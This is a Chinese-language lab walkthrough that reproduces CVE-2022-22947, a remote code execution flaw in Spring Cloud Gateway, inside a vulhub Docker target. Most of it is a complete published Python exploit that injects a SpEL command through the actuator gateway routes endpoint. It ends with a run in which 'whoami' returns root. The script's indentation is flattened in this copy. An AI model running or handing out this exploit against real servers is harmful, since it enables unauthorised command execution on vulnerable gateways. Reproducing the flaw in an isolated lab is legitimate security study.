此次环境部署在docker环境中,亲测有效
更新vulhub
git pull
切换到/spring/cve-2022-22947目录
cd /spring/cve-2022-22947
┌──(root💀kali)-[/home/kali/vulhub]
└─# cd spring
┌──(root💀kali)-[/home/kali/vulhub/spring]
└─# ls
CVE-2016-4977 CVE-2017-4971 CVE-2017-8046 CVE-2018-1270 CVE-2018-1273 CVE-2022-22947
┌──(root💀kali)-[/home/kali/vulhub/spring]
└─# cd CVE-2022-22947
┌──(root💀kali)-[/home/kali/vulhub/spring/CVE-2022-22947]
└─# docker-compose up -d //拉取漏洞环境
cve-2022-22947_spring_1 is up-to-date
┌──(root💀kali)-[/home/kali/vulhub/spring/CVE-2022-22947]
└─# docker-compose up -d //查看靶场环境开启
Starting cve-2022-22947_spring_1 ... done
使用python写payload进行测试(大神的!!!
# Exploit Title: Spring Cloud Gateway 3.1.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://spring.io/
# Software Link: https://spring.io/projects/spring-cloud-gateway
# Version: This vulnerability affect Spring Cloud Gateway < 3.0.7 & < 3.1.1
# Tested on: 3.1.0
# CVE : CVE-2022-22947
import random
import string
import requests
import json
import sys
import urllib.parse
import base64
headers = { "Content-Type": "application/json" , 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36','Accept' : '*/*'}
id = ''.join(random.choice(string.ascii_lowercase) for i in range(8))
def exploit(url, command):
payload = { "id": id, "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\u0022"+command+"\u0022).getInputStream()))}"}}],"uri": "http://example.com"}
commandb64 =base64.b64encode(command.encode('utf-8')).decode('utf-8') #将输入的命令进行base64编码
rbase = requests.post(url + '/actuator/gateway/routes/'+id, headers=headers, data=json.dumps(payload), verify=False)
if(rbase.status_code == 201):
print("[+] Stage deployed to /actuator/gateway/routes/"+id)
print("[+] Executing command...")
r = requests.post(url + '/actuator/gateway/refresh', headers=headers, verify=False)
if(r.status_code == 200):
print("[+] getting result...")
r = requests.get(url + '/actuator/gateway/routes/' + id, headers=headers, verify=False)
if(r.status_code == 200):
get_response = r.json()
clean(url, id)
return get_response['filters'][0].split("'")[1]
else:
print("[-] Error: Invalid response")
clean(url, id)
exit(1)
else:
clean(url, id)
print("[-] Error executing command")
def clean(url, id):
remove = requests.delete(url + '/actuator/gateway/routes/' + id, headers=headers, verify=False)
if(remove.status_code == 200):
print("[+] Stage removed!")
else:
print("[-] Error: Fail to remove stage")
def banner():
print("""
###################################################
# #
# Exploit for CVE-2022-22947 #
# - Carlos Vieira (Crowsec) #
# #
# Usage: #
# python3 exploit.py <url> <command> #
# #
# Example: #
# python3 exploit.py http://localhost:8080 'id' #
# #
###################################################
""")
def main():
banner()
if len(sys.argv) != 3:
print("[-] Error: Invalid arguments")
print("[-] Usage: python3 exploit.py <url> <command>")
exit(1)
else:
url = sys.argv[1]
command = sys.argv[2]
print(exploit(url, command))
if __name__ == '__main__':
main()
执行该脚本,并进行命令执行。
┌──(root💀kali)-[/home/kali/vulhub/spring/CVE-2022-22947]
└─# python3 CVE-2022-22947.py http://192.168.2.129:8080 'whoami' //’whoami‘代码执行
root //代码执行后获取结果
完毕!!!